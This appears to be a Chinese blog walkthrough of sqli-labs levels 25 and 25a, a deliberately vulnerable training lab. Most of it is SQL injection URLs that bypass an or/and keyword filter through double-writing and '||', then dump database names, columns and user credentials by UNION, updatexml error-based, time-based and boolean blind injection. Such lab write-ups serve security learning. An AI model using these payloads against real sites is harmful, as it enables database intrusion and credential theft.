zoukankan      html  css  js  c++  java
  • sqli lab 25 25a

    Waf绕过可大致分为三类:  1.白盒绕过
                                                 2. 黑盒绕过
                                                 3. fuzz测试

    less  25  法一 union 双写绕过过滤

    http://192.168.50.100/sqli/Less-25/?id=1

     http://192.168.50.100/sqli/Less-25/?id=1'

    http://192.168.50.100/sqli/Less-25/?id=1' -- +  闭合 返回正常

    提示语句

    使用order by 2-- 猜列数

     查看源码  发现 or和and  都被替换成了空

    采用双写得方式 进行绕过~

    http://192.168.50.100/sqli/Less-25/?id=1'  Oorrder by 2  -- +

     http://192.168.50.100/sqli/Less-25/?id=-1' union select 1,2,3--+   判断回显位置


    http://192.168.50.100/sqli/Less-25/?id=-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

    infoorrmation   双写 绕过
    http://192.168.50.100/sqli/Less-25/?id=-1 ’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
    http://192.168.50.100/sqli/Less-25/?id=-1 ‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

     less25 法二 

    or->|| 基于报错的注入

    http://192.168.50.100/sqli/Less-25/?id=-1' ||  '1'='1

     

    使用报错注入   

    http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 爆出当前数据库


    http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

    遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整


    less25a

    此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

    http://192.168.50.100/sqli/Less-25a/?id=1  OoRrder by 3 --+

     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3 --+    判断回显位置       id= 1 和 id= -1 得区别如下

     

     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时:
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
     http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

    25a  还有其他得方法

    当我们使用基于时间的布尔盲注:
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 可以通过这个判断当前数据库长度
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+ 判断当前数据库的组成
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+ 通过这个判断所有的数据库
    依次再进行下去。。。


    当我们使用布尔盲注的时候:
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr length(database())>1--+ 此时页面返回正常,则得知当前的数据库长度是大于1的
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的
     http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+ 此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。
    依次再进行下去。。。

    通过观察,25关   ‘’   包裹,25a没有任何包裹,并且也是转义or和and

  • 相关阅读:
    scrapy框架持久化存储 以及响应参数
    scrapy框架
    12306 模拟登陆
    Python第三库---requests库详解
    批处理-----4.for循环中的变量
    批处理-----3. for循环详解
    批处理-----2.常用特殊符号
    批处理-----1.内部命令简介
    Python第三方库---requests库
    Python 自带标准库
  • 原文地址:https://www.cnblogs.com/xingyuner/p/12238982.html
Copyright © 2011-2022 走看看